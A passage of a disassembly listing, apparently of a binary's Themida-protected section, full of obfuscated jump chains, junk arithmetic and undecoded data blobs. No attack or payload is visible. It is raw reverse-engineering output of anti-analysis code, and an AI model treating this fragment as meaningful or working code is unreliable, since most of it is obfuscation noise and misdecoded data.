		jmp	loc_5619AF
; ---------------------------------------------------------------------------
		dd 0E9241C8Bh, 0F460h
; ---------------------------------------------------------------------------


loc_56175C:				; CODE XREF: Themida_:00573FBBj
		add	ebx, 4
		jmp	loc_574D8F
; ---------------------------------------------------------------------------
		db 81h
		dd 1910CAE5h, 11E9526Fh
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561773:				; CODE XREF: Themida_:00567014j
		neg	ecx
		jmp	loc_572D1C
; ---------------------------------------------------------------------------


loc_56177A:				; CODE XREF: Themida_:00567990j
		mov	edx, 5EF860C2h
		jmp	loc_570BD7
; ---------------------------------------------------------------------------
dword_561784	dd 79A168h, 0E2895200h,	4C281h,	0EA830000h, 24148704h
					; DATA XREF: Themida_:0055FDD0o
		dd 4EC815Ch, 89000000h,	4832424h, 48F0424h, 4B95124h, 1000000h
		dd 5904244Ch, 8324048Fh, 0F6E904ECh
		db 0CCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5617BF:				; CODE XREF: Themida_:005743F6j
		pop	esp
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 9Eh
		dd 0E92E0F2Fh, 12710h
; ---------------------------------------------------------------------------


loc_5617D4:				; CODE XREF: Themida_:0056FBE6j
		add	edx, 4F381B7Dh
		pop	edi
		jmp	loc_567294
; ---------------------------------------------------------------------------
		dd 814B450h, 6858E2h, 8900006Dh, 0D4B7241Ch, 0E94FB151h
		dd 2FDCh
; ---------------------------------------------------------------------------


loc_5617F8:				; CODE XREF: Themida_:0056148Bj
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_56E8DE
; ---------------------------------------------------------------------------
		dw 7468h
		dd 0E9000014h, 4135h, 0F8BE565Ah, 2903FFF3h, 0D5015EF2h
		dd 5A2434FFh, 2A33E952h, 0EC830000h, 4896602h, 1C8B6624h
		dd 2C48324h, 91665866h,	0E9D1F766h, 603Eh, 27DDEB81h, 0EB813112h
		dd 54D950A5h, 0E950FB29h, 0A5Bh
; ---------------------------------------------------------------------------


loc_561854:				; CODE XREF: Themida_:005716A1j
		mov	ebx, 753D2399h
		xor	edx, ebx
		pop	ebx
		xor	edx, eax
		push	dword ptr [esp]
		pop	eax
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	esi
		mov	esi, 2FCC5691h
		sub	esi, 21EE09F5h
		or	esi, 1F290E8Bh
		xor	esi, 1FFF4E9Bh
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_572669
; ---------------------------------------------------------------------------
		db 0BAh
		dd 203E7D94h, 1355BE56h, 77E9003Ch, 8100009Bh, 4ECh, 243C8900h
		dd 0FB3B1EBFh, 99FBE95Bh, 2D5D0000h, 37E73747h,	9E62E9h
		dd 0E6DDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5618C2:				; CODE XREF: Themida_:0056605Fj
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89532404h, 4BD55E3h,	1000000h, 0C3835DEBh, 241C3304h
		dd 33241C31h, 248B241Ch, 1C470924h, 0FF2434FFh,	31E92434h
		dd 0B9000120h, 41AB7105h, 0D9F7D9F7h, 8107E9C1h, 0CE3AB8E9h
		dd 0F5BE56DAh, 0E941364Fh, 107CAh, 33243C31h, 248B243Ch
		dd 2434FF24h, 8324048Bh, 5FE904C4h, 81000010h, 2682D3C1h
		dd 59CD313Dh, 10A1DE9h,	4C38100h, 81000000h, 2C3h, 16E95300h
		dd 8B00000Ch, 0C4812434h, 4, 4C681h, 0C6830000h, 24348704h
		dd 4C4815Ch, 0E9000000h, 0F27Ch, 5A66D300h, 18E368h, 24148900h
		dd 0A308E9h
		db 0
; ---------------------------------------------------------------------------


loc_561979:				; CODE XREF: Themida_:005619B5j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	edi, [esp]
		add	esp, 4
		push	7CE5h
		mov	[esp], edx
		push	69C6h
		mov	[esp], esi
		jmp	loc_56C96D
; ---------------------------------------------------------------------------


loc_5619AF:				; CODE XREF: Themida_:0056174Fj
		add	edx, 4
		jmp	loc_561979
; ---------------------------------------------------------------------------
aZhdw		db 'Zh„w',0
		align 10h
		dd 83242C89h, 0E95404ECh, 27B9h, 4C481h, 8F0000h, 0FFE5C6E9h
		dd 19EF81FFh, 14276CEh,	4D685FF8h, 89000038h, 0B9E92404h
		db 3Bh,	2 dup(0)
byte_5619EF	db 66h			; DATA XREF: Themida_:0055FD68o
		dd 0E924248Bh, 0FAE3h, 0AEE95066h, 890000B4h, 0C7BD242Ch
		dd 0C10A9333h, 0EC8307EDh, 24348904h, 0E41D66BEh, 0DFCE962h
		dd 0D0890000h, 5DE8015Ah, 3170C381h, 0FDE97134h
		db 26h,	1, 0
; ---------------------------------------------------------------------------


loc_561A2B:				; CODE XREF: Themida_:00560EFEj
		push	edx
		mov	dl, 0Dh
		jmp	loc_566E1F
; ---------------------------------------------------------------------------
		db 89h
		dd 0F5B3241Ch, 0E95BD888h, 0E036h, 1664E95Ch, 14890000h
		dd 35DBA24h, 0D6293A6Dh, 5624148Bh, 0C681E689h,	4, 4C681h
		dd 34870000h, 0A1E95C24h, 10000FBh, 0D6F75DEEh,	18A5F681h
		dd 0EE81FA26h, 78210541h, 8102EEC1h, 0DA1A8ACEh, 0CBB85065h
		dd 1677159h, 24048BC6h,	4C481h,	53E90000h, 100011Bh, 0F58158C5h
		dd 27FA6B51h, 0E95DEB89h, 0FFFFE4F3h, 241C895Ch, 6FE9E389h
		dd 5D00010Dh, 0E95AD331h, 9876h, 0E9525854h, 0E853h, 0C4D915B9h
		dd 59CE014Bh, 0E95EF721h, 0ED46h, 0C181E189h, 4, 4E981h
		dd 0C870000h, 0F9E95C24h, 2D000133h, 24217B3Ch,	81E4F2Dh
		dd 51D82949h, 81E4FB9h,	59C80149h, 97ABE9h, 94E58100h
		dd 87147F36h, 87D7F7FDh, 8AEEE9FDh, 0C8B0000h, 4C48324h
		dd 0E95BD988h, 92B0h, 8004C483h, 0C9E910C4h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561B33:				; CODE XREF: Themida_:00567A55j
		push	40A0h
		mov	[esp], edx
		mov	edx, 34C17704h
		push	ecx
		mov	ecx, 139D4989h
		push	edi
		push	ebx
		mov	ebx, 58D47706h
		mov	edi, ebx
		pop	ebx
		jmp	loc_566078
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 4832424h,	815D0424h, 4C5h, 0E9525600h, 319h
		dd 45B8CD81h, 0EDC114AFh, 0F9CD8102h, 815ED715h, 0AF68A3EDh
		dd 0E9EA3129h, 3676h, 0B6525B59h, 0E5F68014h, 0E9C6E680h
		dd 0F158h, 0E9240C31h, 4B40h, 2414895Ch, 0D199E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561BAE:				; CODE XREF: Themida_:0056C87Ej
		add	edx, eax
		pop	eax
		xor	edx, 4B2472Fh
		mov	ebp, edx
		pop	edx
		add	ebx, 3AD63844h
		jmp	loc_56D554
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 8924248Bh, 4B82404h,	81000000h, 8E7AF4EDh, 9BED811Fh
		dd 8106BE44h, 346307C5h, 99DFE935h, 0E9560000h,	0BA0Eh
		dd 4BBh, 0E9DE0100h, 0C283h, 286BD6BEh,	22EE8143h, 0F71ADC51h
		dd 8E6C1DEh, 52BB5346h,	4B45F239h, 6BA3E9h, 240C8B00h
		dd 2F57E9h, 0B2525300h,	0E9D788C0h, 8207h, 4C681h, 0A5E90000h
		dd 47FFFFFAh, 7B60BD55h, 0D5F706A4h, 104A4E9h, 596EBA00h
		dd 0D7294CA0h, 0FA01E9h, 6862B900h, 0E1C10C33h,	6BBE5604h
		dd 81672845h, 4699CE6h,	0A9EE8163h, 81097E55h, 0B76D43F6h
		dd 5EF1299Ah, 6859C801h, 0A6Ah,	0BF243C89h, 2, 0C8396105h
		dd 56F8016Dh, 0B03255BEh, 81DEF733h, 87F4CAF6h,	4EC81A1h
		dd 89000000h, 30B9240Ch, 0E9476B4Bh, 20E5h, 280DC180h
		dd 0A40459C8h, 0A42CF000h, 0F7E94D04h
		db 0FCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561CBF:				; CODE XREF: Themida_:0056989Fj
		push	edx
		push	3D53h
		mov	[esp], eax
		pop	edx
		jmp	loc_5707E2
; ---------------------------------------------------------------------------
aQsl		db 'QéL#',0
		align 4
		dd 0C256272Dh, 5D82954h, 54C25627h, 0D9214305h,	51BA5215h
		dd 0C178042Ch, 0CA8105EAh, 1526116Ch, 3DC2F281h, 672D5DF4h
		dd 1281668h, 21BF57D0h,	0C14AB117h, 0E7C107E7h,	47EF8102h
		dd 8131544Ch, 0AA23B6EFh, 0A3CF8155h, 81332D63h, 198B3CEFh
		dd 5FF801D3h, 1C48055Ah, 80E9105Dh, 8100006Fh, 4C5h, 553EE900h
		dd 0D580000h, 0E56545Dh, 76745935h, 0E9C5015Eh,	0FA09h
; ---------------------------------------------------------------------------


loc_561D50:				; CODE XREF: Themida_:0056F93Aj
		neg	edi
		push	ebp
		mov	ebp, 13602238h
		add	edi, 412C404Ch
		sub	edi, ebp
		sub	edi, 412C404Ch
		jmp	loc_570DCB
; ---------------------------------------------------------------------------


loc_561D6B:				; CODE XREF: Themida_:00569225j
		push	1E42h
		mov	[esp], edi
		mov	edi, esp
		push	6C3Ch
		jmp	loc_5674FE
; ---------------------------------------------------------------------------
		dd offset dword_504044+324h
		align 4
		dd 2A74E9h, 2DF80100h, 8EB5816h, 0FFF4C1E9h, 58C289FFh
		dd 0B42E9h, 65CD8100h, 0C137766Bh, 0C58107EDh, 7C1700DBh
		dd 0FFE959E9h, 243C87FFh, 24148B5Ch, 8904EC83h,	32E9242Ch
		dd 56000039h, 612BA8BEh, 7ECE816Ah, 817ADC70h, 0E3C873F6h
		dd 0E9F289F7h, 12E8Bh
; ---------------------------------------------------------------------------


loc_561DDC:				; CODE XREF: Themida_:0056FAB4j
		push	edx
		mov	edx, 8A16AE3h
		add	edx, 9793F9BCh
		mov	ebx, edx
		pop	edx
		jmp	loc_56F8C9
; ---------------------------------------------------------------------------
		dd 222968h, 24148900h, 0CE6CE9h
		db 0
; ---------------------------------------------------------------------------


loc_561DFD:				; CODE XREF: Themida_:00572291j
		add	esp, 4
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		push	1F9Ch
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 193A2EA8h
		jmp	loc_572750
; ---------------------------------------------------------------------------
		db 83h
		dd 0E78104C4h, 3E0229B3h, 10A27E9h
		db 0
; ---------------------------------------------------------------------------


loc_561E3D:				; CODE XREF: Themida_:0057525Cj
		and	ecx, esi
		jmp	loc_5659B8
; ---------------------------------------------------------------------------


loc_561E44:				; CODE XREF: Themida_:0056F923j
		add	eax, edi
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		pop	esi
		push	ebx
		sub	esp, 4
		mov	[esp], edi
		pop	ebx
		jmp	loc_561027
; ---------------------------------------------------------------------------
aBakkufsr5	db 'íKkufé5',0
		align 4


loc_561E6C:				; CODE XREF: Themida_:0056623Fj
		mov	[esp], ebp
		jmp	loc_5751D7
; ---------------------------------------------------------------------------
		dd 8B241C33h, 0F0892424h, 0D4C1E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561E82:				; CODE XREF: Themida_:0057333Dj
		pop	esi
		xchg	eax, esi
		jmp	loc_571BB1
; ---------------------------------------------------------------------------
		db 0BAh, 12h, 5
		dd 0C142480Fh, 0DAF707E2h, 0EA81DAF7h, 782897Ch, 15AD689h
		dd 2C875EF5h, 0BF575C24h, 12B1255Ch, 2443B850h,	0C709446Eh
		dd 10F4E958h, 0F0290001h, 5E2434FFh, 5304C483h,	7F77BE56h
		dd 0EEC1470Ah, 0BD554607h, 33B1731Dh, 11967E9h,	5AD13100h
		dd 4720F181h, 0F987739Eh, 0F987D7F7h, 9FF6C181h, 13E9C0A2h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561EF3:				; CODE XREF: Themida_:00566AABj
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_565502
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 36AE9h
		db 0
byte_561F05	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055FEA4o
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 71A570B9h
		neg	esi
		add	esi, 1313353Dh
		jmp	loc_56142A
; ---------------------------------------------------------------------------
		db 81h
		dd 0E9010BF5h, 0EE295E30h, 0E9242C8Bh, 4FCEh, 42474FFh
		dd 0A171E958h, 348B0000h, 4C48124h, 31000000h, 0E055E9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561F4A:				; CODE XREF: Themida_:00571592j
		pop	esi
		mov	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	6FD5h
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		push	ecx
		mov	ecx, 54F0CE2h
		mov	ebp, 54F0CE6h
		xor	ebp, ecx
		pop	ecx
		add	ecx, ebp
		pop	ebp
		push	esi
		push	4
		mov	esi, [esp]
		add	esp, 4
		add	ecx, esi
		jmp	loc_569E4B
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0AD13h
; ---------------------------------------------------------------------------


loc_561FA4:				; CODE XREF: Themida_:00566975j
		mov	eax, edx
		pop	edx
		add	dword ptr [esp+4], 2D1D6AF0h
		jmp	loc_57275F
; ---------------------------------------------------------------------------
		dd 4C481h, 5C040000h, 0D800E02Ch, 8079B551h, 0E80067C5h
		dd 44BE6859h, 0E4E90000h, 8B0000F7h, 0C4832414h, 74FF5704h
		dd 34FF0424h, 0C4835F24h, 24048F04h, 0E924248Bh, 6B80h
; ---------------------------------------------------------------------------


loc_561FF0:				; CODE XREF: Themida_:005679EBj
		inc	edx
		not	edx
		sub	edx, 0B3C0D47Fh
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_56E4A6
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF240Ch, 8F590424h, 0F8E92404h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_562017:				; CODE XREF: Themida_:00573C26j
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_560514
; ---------------------------------------------------------------------------


loc_56202E:				; CODE XREF: Themida_:005750D9j
		push	eax
		mov	eax, 3F877D40h
		sub	eax, 7DE70520h
		xor	eax, 0DC50B9Fh
		jmp	loc_56CB55
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 81000000h,	4C1h, 74FF5100h, 8F590424h, 0E95C2404h
		dd 104B2h
; ---------------------------------------------------------------------------


loc_562060:				; CODE XREF: Themida_:00572C5Bj
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_56BD4C
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_566484
; ---------------------------------------------------------------------------
		db 83h
		dd 26E904ECh
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562097:				; CODE XREF: Themida_:00571A7Cj
		xchg	eax, [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	111Ch
		mov	[esp], ebx
		xor	dword ptr [esp], 28E90DACh
		mov	eax, [esp]
		jmp	loc_5732AC
; ---------------------------------------------------------------------------
		db 53h
		dd 0F4E9C5B7h, 0C1000052h, 0EB8108E3h, 0FF97FA97h, 34FFD929h
		dd 0C4835B24h, 81D90104h, 660569C1h, 2434FF00h,	8D81E9h
		dd 4C48100h, 68000000h,	56BDh, 0B9240C89h, 6FEA4BA0h, 0E959CF01h
		dd 75A5h, 0C55F46B8h, 737E3567h, 0D2E927AFh
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56210B:				; CODE XREF: Themida_:0056561Bj
		mov	[esp], edi
		mov	edi, 5A407FAFh
		inc	edi
		shr	edi, 8
		jmp	loc_572CB5
; ---------------------------------------------------------------------------
		dd 582434FFh, 47D5E9h, 0C3816600h, 2966792Eh, 525A5BD8h
		dd 7B86650h, 0D0F76638h, 5664066h, 36E97A84h, 5C000097h
		dd 89241489h, 0E28952E2h, 0DF15E9h, 0C6815E00h,	4, 0E902C683h
		dd 0FFFFFF2Fh
; ---------------------------------------------------------------------------


loc_562160:				; CODE XREF: Themida_:00569380j
		or	edx, 3EC139CDh
		dec	edx
		xor	edx, 38CF7229h
		add	ecx, edx
		jmp	loc_57546A
; ---------------------------------------------------------------------------
		dd 0D4FC3BFh, 14C78145h, 295BBA50h, 14EF81EFh, 5D5BBA50h
		dd 0E95FF829h, 0D3CAh, 0ED1F0FBBh, 5BD8296Dh, 76CAE9h
		dd 24148B00h, 3304C483h, 2C31242Ch, 242C3324h, 0F724248Bh
		dd 348F68F9h, 14890000h, 0E99C5024h, 0FFFFDDDFh, 6F89E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5621C6:				; CODE XREF: Themida_:005636AEj
		push	eax
		push	edi
		push	50920E97h
		pop	edi
		shl	edi, 5
		xor	edi, 990E780Ah
		mov	eax, edi
		pop	edi
		jmp	loc_562F11
; ---------------------------------------------------------------------------
		db 8Fh
		dd 4812404h, 424h, 4055800h, 83000000h,	43304C0h, 24043124h
		dd 4D80E9h
		db 0
; ---------------------------------------------------------------------------


loc_5621FD:				; CODE XREF: Themida_:0056DF7Aj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_570E51
; ---------------------------------------------------------------------------


loc_562212:				; CODE XREF: Themida_:00574331j
		mov	[esp], ebp
		mov	ebp, 286E7F02h
		or	ebp, 71C45E25h
		add	ebp, 861180DDh
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_56E7AA
; ---------------------------------------------------------------------------


loc_56223C:				; CODE XREF: Themida_:005627DCj
		shl	ebx, 6
		push	224Bh
		mov	[esp], ebp
		push	esp
		jmp	loc_563C0B
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0ED810000h, 5C3767D0h, 0C581FD01h, 5C3767D0h, 5F2434FFh
		dd 8304C483h, 72E902C5h, 890000FDh, 0A6BA52E5h,	0F77C561Ah
		dd 4773E9D2h, 2C8B0000h, 4C48324h, 9C9BE9h, 0E6895600h
		dd 129B1E9h
		db 0
; ---------------------------------------------------------------------------


loc_562291:				; CODE XREF: Themida_:00571D03j
		mov	esp, [esp]
		mov	dh, cl
		jmp	loc_5689F2
; ---------------------------------------------------------------------------


loc_56229B:				; CODE XREF: Themida_:005677A7j
		or	edx, eax
		pop	eax
		dec	edx
		neg	edx
		xor	edx, 0A2023002h
		add	esi, edx
		pop	edx
		jmp	loc_56786F
; ---------------------------------------------------------------------------
		db 0B8h
		dd 54D950A5h, 11429E9h,	8B595000h, 0C4812404h, 4, 4EC8341h
		dd 0BB241C89h, 70F4DEB1h, 815BD929h, 765673C3h,	52CB0145h
		dd 85061EBAh, 5E2C14Bh,	37E9DAF7h, 0B900012Ah, 4, 4244C01h
		dd 0ED88E9h, 0F8305900h, 4EC835Bh, 88240C89h, 633CE9C5h
		dd 15F0000h, 23882DE8h,	34FF7F57h, 0C4815D24h, 4, 405h
		dd 24043300h, 33240431h, 0EDE92404h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56232F:				; CODE XREF: Themida_:0056C0D7j
		mov	bl, ah
		pop	eax
		pop	edx
		shl	bl, 8
		jmp	loc_56C88B
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4C68100h, 87000000h, 248B2434h, 9FC18124h, 116B755h
		dd 0EB04E9F9h, 348BFFFFh, 4C48124h, 0E9000000h,	10D95h
		dd 5821E981h, 348B65DFh, 4C48324h, 3BC368h, 24148900h
		dd 4D3E9h, 0E9F53100h, 0FFFFEEF1h, 8104C483h, 4E8B242Ch
		dd 40128A6h, 24048124h,	28A64E8Bh, 0B668E9h, 2C48300h
		dd 5AD03166h, 0FC33166h, 6866C0B7h, 89662336h, 2CE92404h
		db 0F6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5623BB:				; CODE XREF: Themida_:00567376j
		sub	esi, 31FF0A8Ah
		mov	edx, [esp]
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5602DE
; ---------------------------------------------------------------------------
		db 89h
		dd 0CF815AD7h, 4CFA4B8Eh, 1C56BB53h, 0D9E936D4h, 8900011Bh
		dd 4BD242Ch, 29000000h,	3DE95DE9h, 81000014h, 4C4h, 88BF5700h
		dd 17F5723h, 0FEECE9F8h
		db 2 dup(0FFh)
word_56241E	dw 0AD66h		; DATA XREF: Themida_:0055FD8Co
		dd 0E9D83166h, 126BEh, 4011EE81h, 7CE945F8h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562433:				; CODE XREF: Themida_:005629C2j
		sub	ebx, 4C02379Dh
		sub	ebx, 56477267h
		pop	ecx
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_56B296
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFEAC0h, 5C240487h, 0E92434FFh, 12049h, 0D7F7FA87h
		dd 0EAC1FA87h, 0ABEA8104h, 0E9C41DA9h, 9B29h, 0DA299605h
		dd 4D8BE928h, 0C5810000h, 5461161Ch, 0ED81F501h, 5461161Ch
		dd 35B8505Eh, 0E9587C49h, 0D270h, 0E8B15166h, 8B66CA00h
		dd 8952240Ch, 4C281E2h,	57000000h, 2BFh, 5FFA0100h, 0E9241487h
		dd 1199Ch, 3B5EEEBEh, 2C815661h, 1B68D124h, 0B8505D0Ch
		dd 18562885h, 8D10D48h,	0E0C12DCCh, 0ABB3E904h,	1C8B0000h
		dd 4C48124h, 8F000000h,	248B2404h, 241C8B24h, 5E6DE9h
		dd 31EE3100h, 5857E9F5h, 0C4810000h, 4,	8158C189h, 133059E1h
		dd 4EC837Eh, 50240C89h,	0D0F75859h, 0FD9BE951h,	483FFFFh
		dd 0FAE90424h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562527:				; CODE XREF: Themida_:0056A55Dj
		add	esp, 4
		not	esi
		xchg	ebx, esi
		xchg	ebp, ebx
		push	ebp
		jmp	loc_56C5E1
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 54FE9h, 2434FF00h, 84E1E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56254A:				; CODE XREF: Themida_:0056698Fj
		mov	edi, 69CF11BBh
		shl	edi, 7
		or	edi, 1CDC2031h
		jmp	loc_56D8D0
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 241C8B04h, 81E38953h, 4C3h, 4C38300h, 5C241C87h, 8B24048Fh
		dd 8B662424h, 19E9240Ch
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562583:				; CODE XREF: Themida_:00572507j
		add	esp, 4
		jmp	loc_567D31
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4C481h, 0EC810000h, 4, 51241C89h, 2B9h, 59CB8900h, 427EEA81h
		dd 0C2814DA3h, 69A52270h, 0B951DA01h, 7B941AC7h, 0D9F7D9F7h
		dd 7904E9h, 0C8B6600h, 5B545324h, 0DABCE952h, 1C870000h
		dd 2083E924h, 0C4830000h, 2D5DE904h, 4890000h, 83E08924h
		dd 1C8904ECh, 9756E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5625EE:				; CODE XREF: Themida_:0056DC5Fj
		pop	esp
		dec	dh
		inc	dh
		dec	dh
		push	bx
		mov	bh, 0D8h
		add	dh, bh
		mov	bx, [esp]
		add	esp, 2
		mov	bh, dh
		mov	edx, [esp]
		jmp	loc_5742BB
; ---------------------------------------------------------------------------


loc_56260C:				; CODE XREF: Themida_:00560A64j
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 281A10EBh
		add	ebx, eax
		push	ebp
		mov	ebp, 281A10EBh
		sub	ebx, ebp
		pop	ebp
		pop	eax
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_569750
; ---------------------------------------------------------------------------
		db 5Ch
		dd 95730FB9h, 0FFD1294Ah, 565A2434h, 0F8E9E689h, 1FFFFFCh
		dd 0E9575EF7h, 9039h
dword_56264C	dd 28B9E9ADh, 872D0001h, 1294F6Ch, 6C8705D8h, 42E9294Fh
					; DATA XREF: Themida_:0055FE50o
		db 29h,	1, 0
; ---------------------------------------------------------------------------


loc_562663:				; CODE XREF: Themida_:00568958j
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_56B443
; ---------------------------------------------------------------------------
		db 89h
		dd 2368E9E2h
		db 1, 0
word_562676	dw 34FFh		; DATA XREF: Themida_:0055FE38o
		dd 0EC815824h, 4, 89243489h, 46851E6h, 59000000h, 4B766850h
		dd 0D5872C3h, 3F513250h, 99CCE9h, 81E28900h, 4C2h, 4C28100h
		dd 87000000h, 248B2414h, 44E6E924h, 0C6830000h,	24348704h
		dd 8BF9215Ch, 0A1E9243Ch, 680000E3h, 5F24h, 52242C89h
		dd 6E23E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5626D6:				; CODE XREF: Themida_:0056C658j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 7D7163AFh
		shl	edx, 1
		push	ebx
		mov	ebx, 35D007D9h
		xor	edx, ebx
		pop	ebx
		neg	edx
		push	ebx
		push	edx
		mov	edx, 15834D3Ah
		push	8D0DA585h
		jmp	loc_573ECF
; ---------------------------------------------------------------------------


loc_562703:				; CODE XREF: Themida_:00574DF4j
		and	eax, 664E4C51h
		xor	eax, 4EF01176h
		xor	eax, 35687545h
		sub	ebp, 43E275E8h
		jmp	loc_56F6D6
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 0DCE90000h, 5C0000E2h, 0FFD86EE9h, 4C481FFh
		dd 81000000h, 4C2h, 4C28300h, 34A568h, 7B4E900h, 0DEF70000h
		dd 3A3C68h, 242C8900h, 41391DBDh, 195FE976h, 0C7810001h
		dd 4, 0C1ABE56h, 0DFE9586Fh, 50000107h,	4B8h, 58C70100h
		dd 1F67E9h
		db 0
; ---------------------------------------------------------------------------


loc_56277D:				; CODE XREF: Themida_:0056E843j
		xor	ecx, ebx
		jmp	loc_56A659
; ---------------------------------------------------------------------------
		dd 1751C681h, 0E6C13528h, 0FFBF5708h, 10D2FC2h,	0F1895FFEh
		dd 5E2434FFh, 669EE9h, 4C48100h, 81000000h, 0D4784EF7h
		dd 62EF811Fh, 0E920A077h, 0FFFFD9B3h
; ---------------------------------------------------------------------------


loc_5627B8:				; CODE XREF: Themida_:005748ADj
		push	edi
		mov	edi, 203103C0h
		or	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5712C3
; ---------------------------------------------------------------------------


loc_5627CE:				; CODE XREF: Themida_:00569EDBj
		push	25FE5714h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56223C
; ---------------------------------------------------------------------------
		db 5Ch,	0FFh, 34h
		dd 2A5E924h, 0FA050001h, 0E93AF142h, 0B2BEh
; ---------------------------------------------------------------------------


loc_5627F4:				; CODE XREF: Themida_:0056FF4Ej
		mov	[esp], edx
		mov	edx, 4
		add	edi, 40866211h
		add	edi, edx
		sub	edi, 40866211h
		pop	edx
		add	edi, 4
		jmp	loc_572230
; ---------------------------------------------------------------------------
		dw 0CE81h
		dd 4D172254h, 7ECBEE81h, 0B8E96E68h
		db 1Ah,	1, 0
; ---------------------------------------------------------------------------


loc_562827:				; CODE XREF: Themida_:0056E305j
		sub	dword ptr [esp+4], 8CF317Ah
		pop	ebx
		mov	ecx, [esp]
		push	ebx
		jmp	loc_561300
; ---------------------------------------------------------------------------
		db 0C1h, 0EFh, 6
		dd 2D52EF81h, 4E92758h,	56000071h, 8B7E9CBEh, 0E9C63135h
		dd 355Ah, 747EBF57h, 0D7F7228Ah, 0EF814F4Fh, 7C4776D6h
		dd 815FFA89h, 8063ABE2h, 59C2815Ch, 1BFFFFFh, 96E95AD1h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56287B:				; CODE XREF: Themida_:005703E1j
		push	esp
		jmp	loc_574C78
; ---------------------------------------------------------------------------
		db 88h,	2, 0E9h
		dd 0CD1Eh, 0E9E28952h, 12919h
; ---------------------------------------------------------------------------


loc_562890:				; CODE XREF: Themida_:0056B302j
		xor	esi, 7A070117h
		xor	esi, 3F8B4D3Dh
		push	ebp
		mov	ebp, 5AE90C7Eh
		sub	ebp, 7F2D5EC0h
		jmp	loc_5743FB
; ---------------------------------------------------------------------------
		db 41h,	0C1h, 0E1h
